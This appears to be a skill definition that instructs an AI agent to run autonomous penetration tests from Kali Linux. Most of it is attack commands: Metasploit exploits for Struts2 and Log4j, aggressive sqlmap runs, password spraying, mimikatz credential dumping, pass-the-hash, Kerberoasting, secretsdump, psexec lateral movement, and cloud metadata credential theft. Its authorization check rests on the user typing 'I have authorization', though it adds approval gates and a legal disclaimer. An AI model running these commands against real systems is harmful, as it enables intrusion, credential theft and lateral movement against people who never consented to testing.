| name | kali-pentest-ai-agent |
| description | AI-driven autonomous penetration testing with Kali Linux tools, multi-phase attack planning, and human approval gates for high-risk actions |
| triggers | ["run a penetration test against this target","perform security assessment using kali tools","scan and exploit vulnerabilities on this network","execute automated pentest with ai agent","conduct authorized security testing with approval gates","plan and run multi-phase attack simulation","generate penetration testing report with kali","perform ethical hacking assessment with human oversight"] |
kali-pentest-ai-agent
Skill by ara.so — Security Skills collection.
An AI agent skill for autonomous penetration testing using Kali Linux. Provides 269 CLI security tools across 14 categories, 15+ scenario playbooks, intelligent attack path planning, cross-phase result integration, and mandatory human approval for high-risk actions. Unlike traditional automated scanners, this skill enables AI agents to adaptively plan, execute, and iterate through penetration testing phases like a human security researcher.
What It Does
- Autonomous Attack Planning: AI agent analyzes targets and plans multi-phase attack paths
- Tool Selection & Execution: Intelligently selects from 269+ Kali tools based on context
- Cross-Phase Integration: Integrates findings across reconnaissance, scanning, exploitation, and post-exploitation
- Adaptive Strategy: Adjusts testing approach based on intermediate results
- Human Approval Gates: Requires explicit authorization before high-risk actions
- Depth Control: Supports Quick/Standard/Deep testing modes with coverage matrices
- Structured Reporting: Generates Markdown and HTML reports with evidence and remediation
Installation
1. Install the Skill
Copy the skill directory into your AI agent's skills folder:
cp -r kali-pentest ~/.claude/skills/
cp -r kali-pentest .claude/skills/
cp -r kali-pentest ~/.openclaw/skills/
cp -r kali-pentest ~/.hermes/skills/
2. Set Up Kali Environment
Choose one of three modes:
Local Mode (agent runs directly on Kali):
cat /etc/os-release | grep Kali
which nmap metasploit-framework burpsuite
Server Mode (SSH to remote Kali):
ssh-keygen -t ed25519 -f ~/.ssh/kali_key
ssh-copy-id -i ~/.ssh/kali_key.pub root@kali-server-ip
ssh -i ~/.ssh/kali_key root@kali-server-ip "uname -a"
Docker Mode (containerized Kali):
docker pull kalilinux/kali-rolling
docker run -d --name kali-pentest \
--network host \
--cap-add=NET_ADMIN \
--cap-add=NET_RAW \
-v $(pwd)/kali-pentest:/workspace \
kalilinux/kali-rolling tail -f /dev/null
docker exec kali-pentest bash -c "apt update && apt install -y kali-linux-default"
3. Configure Environment Variables
export KALI_MODE="local"
export KALI_SSH_KEY="$HOME/.ssh/kali_key"
export KALI_HOST="root@192.168.1.100"
export KALI_CONTAINER="kali-pentest"
export PENTEST_OUTPUT_DIR="$HOME/pentest-reports"
mkdir -p "$PENTEST_OUTPUT_DIR"
Key Commands & Usage
Invoke via Slash Command
/kali-pentest
Invoke via Natural Language
Quick Scan Example:
Kali tools are available locally (this machine is Kali).
Target: 10.0.0.0/24
Quickly scan the target network for open ports and services.
I have authorization.
Standard Assessment Example:
The persistent Docker container `kali-pentest` is initialized.
Use Docker mode to run a web application penetration test against http://192.168.1.50.
I have authorization.
Deep Assessment Example:
Kali server: ssh -i ~/.ssh/kali_key root@192.168.1.100
First run a full port scan against 192.168.1.50, then plan and execute
an in-depth penetration test — do not overlook any potential weakness.
I have authorization.
Core Workflow
The agent executes five steps:
Step 1: Environment Setup
ssh -i ~/.ssh/kali_key root@kali-host "which nmap metasploit sqlmap"
which nmap metasploit sqlmap
docker exec kali-pentest which nmap metasploit sqlmap
Step 2: Planning
Step 3: Execute Phases
Reconnaissance:
nmap -sn 192.168.1.0/24 -oN hosts.txt
dig @8.8.8.8 example.com ANY +noall +answer
dnsenum --enum example.com
subfinder -d example.com -o subdomains.txt
Port Scanning:
nmap -T4 -F 192.168.1.50
nmap -p- -sV -sC -O 192.168.1.50 -oA full-scan
nmap -sU --top-ports 100 192.168.1.50 -oN udp-scan.txt
Vulnerability Detection:
nmap --script vuln 192.168.1.50 -oN vuln-scan.txt
nikto -h http://192.168.1.50 -output nikto.txt
sslscan --no-failed 192.168.1.50:443
Exploitation:
msfconsole -q -x "use exploit/multi/http/struts2_content_type_ognl; \
set RHOST 192.168.1.50; set LHOST 192.168.1.10; exploit"
sqlmap -u "http://192.168.1.50/page?id=1" --dbs --batch
crackmapexec smb 192.168.1.0/24 -u users.txt -p 'Password123!' --continue-on-success
Post-Exploitation:
linpeas.sh | tee linpeas-output.txt
mimikatz "privilege::debug" "sekurlsa::logonpasswords" exit
crackmapexec smb 192.168.1.0/24 -u admin -H aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c
Step 4: Analyze & Iterate
Agent integrates results across phases:
if redis_noauth_found:
exploit_redis_for_shell()
if shell_obtained:
run_privilege_escalation_enum()
if credentials_found:
attempt_lateral_movement()
Step 5: Report Generation
cat > report.md <<EOF
# Penetration Test Report
## Executive Summary
- Target: 192.168.1.50
- Date: $(date)
- Severity: Critical findings detected
## Findings
### [CRITICAL] Unauthenticated Redis Access
**Evidence**: \`\`\`redis-cli -h 192.168.1.50 INFO\`\`\`
**Impact**: Remote code execution via Redis module injection
**Remediation**: Enable authentication with \`requirepass\` directive
## Attack Chain
Redis no-auth → SSH shell → SUID privesc → root access
EOF
markdown report.md > report.html
Common Patterns
Pattern 1: Network Penetration Test
nmap -sn $TARGET_NETWORK -oG - | grep "Up" | cut -d' ' -f2 > live-hosts.txt
while read host; do
nmap -p- -sV -sC "$host" -oN "scan-$host.txt"
done < live-hosts.txt
for host in $(cat live-hosts.txt); do
nmap --script vuln "$host" -oN "vuln-$host.txt"
done
msfconsole -r exploit-script.rc
Pattern 2: Web Application Test
whatweb http://$TARGET
wafw00f http://$TARGET
nikto -h http://$TARGET -output nikto.html -Format html
zap-cli quick-scan --self-contained http://$TARGET
sqlmap -u "http://$TARGET/page?id=1" --risk 3 --level 5 --batch
wpscan --url http://$TARGET --enumerate vp,vt,u
Pattern 3: Active Directory Assessment
crackmapexec smb $DC_IP -u '' -p '' --shares
ldapsearch -x -h $DC_IP -b "DC=corp,DC=example,DC=com"
impacket-GetUserSPNs corp.example.com/user:password -dc-ip $DC_IP -request
bloodhound-python -d corp.example.com -u user -p password -ns $DC_IP -c all
impacket-secretsdump corp.example.com/admin@$DC_IP
Pattern 4: Cloud-Native Security
kubectl get pods --all-namespaces
kubectl get secrets --all-namespaces -o json | grep -i password
amicontained
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
Configuration
Depth Settings
Control testing thoroughness via natural language:
| Trigger Phrase | Depth | Coverage |
|---|
| "quick scan", "fast check" | Quick | Top 100 ports, common vulnerabilities |
| (default) | Standard | Full TCP, service fingerprinting, OWASP Top 10 |
| "comprehensive", "deep", "thorough" | Deep | All ports, exhaustive vulnerability checks, manual verification |
Approval Gates
High-risk actions require explicit human confirmation:
- Exploitation attempts (RCE, privilege escalation)
- Credential dumping
- Lateral movement
- Service disruption (DoS tests)
- Data exfiltration
Agent will pause and request approval:
🔴 HIGH-RISK ACTION REQUIRES APPROVAL:
Execute Metasploit exploit against 192.168.1.50 (RCE attempt)
Type 'APPROVE' to proceed or 'DENY' to skip:
Troubleshooting
Connection Issues
ssh -i $KALI_SSH_KEY -v $KALI_HOST "echo 'Connection OK'"
docker exec $KALI_CONTAINER echo "Container OK"
ssh -i $KALI_SSH_KEY $KALI_HOST "ping -c 3 $TARGET_IP"
Tool Not Found
ssh -i $KALI_SSH_KEY $KALI_HOST "apt update && apt install -y <tool-name>"
docker exec $KALI_CONTAINER bash -c "apt update && apt install -y <tool-name>"
Permission Errors
docker run --cap-add=NET_ADMIN --cap-add=NET_RAW ...
ssh -i $KALI_SSH_KEY root@$KALI_HOST
ssh -i $KALI_SSH_KEY $KALI_HOST "sudo -l"
Output Collection Failures
mkdir -p $PENTEST_OUTPUT_DIR
df -h $PENTEST_OUTPUT_DIR
touch $PENTEST_OUTPUT_DIR/test && rm $PENTEST_OUTPUT_DIR/test
Agent Stops Early
If coverage is insufficient:
The current pentest results are not comprehensive enough.
Check the playbook's "Stop When" conditions and coverage matrix.
Have all required tool categories been utilized?
Real-World Examples
Example 1: External Network Pentest
amass enum -d target.com -o subdomains.txt
nmap -iL subdomains.txt -p 80,443,8080,8443 -oA web-services
nuclei -l web-services.txt -t cves/ -o nuclei-findings.txt
msfconsole -x "use exploit/multi/http/apache_log4j_rce; set RHOST 10.0.0.50; exploit"
cat nuclei-findings.txt web-services.nmap > final-report.md
Example 2: Internal Network Compromise
netdiscover -r 172.16.0.0/16 -P
crackmapexec smb 172.16.0.0/16 -u admin -H $NTLM_HASH --sam
bloodhound-python -d corp.local -u admin -p $PASSWORD -c all -ns 172.16.0.10
impacket-psexec corp.local/dadmin@172.16.0.10 -hashes :$DA_HASH
Example 3: API Security Assessment
cat openapi.yaml | grep -E "paths:|/api/"
ffuf -w /usr/share/wordlists/api-endpoints.txt \
-u https://api.target.com/FUZZ \
-H "Authorization: Bearer $API_TOKEN"
sqlmap -u "https://api.target.com/user?id=1" \
-H "Authorization: Bearer $API_TOKEN" \
--batch --level 5
Documentation References
- Official Kali Docs: https://www.kali.org/docs/
- Playbooks:
kali-pentest/references/playbooks/
- Tool Categories:
kali-pentest/references/<category>/
- Environment Setup:
kali-pentest/references/environment/
Tested Models
Optimized for:
claude-opus-4.6
claude-sonnet-4.6
deepseek-v4-pro
qwen3.6:27b (local, requires ≥128K context)
Legal & Ethical Use
⚠️ AUTHORIZATION REQUIRED: This skill is for authorized penetration testing only. Always obtain explicit written permission before testing any target. Unauthorized access to computer systems is illegal under CFAA (US), Computer Misuse Act (UK), and similar laws worldwide.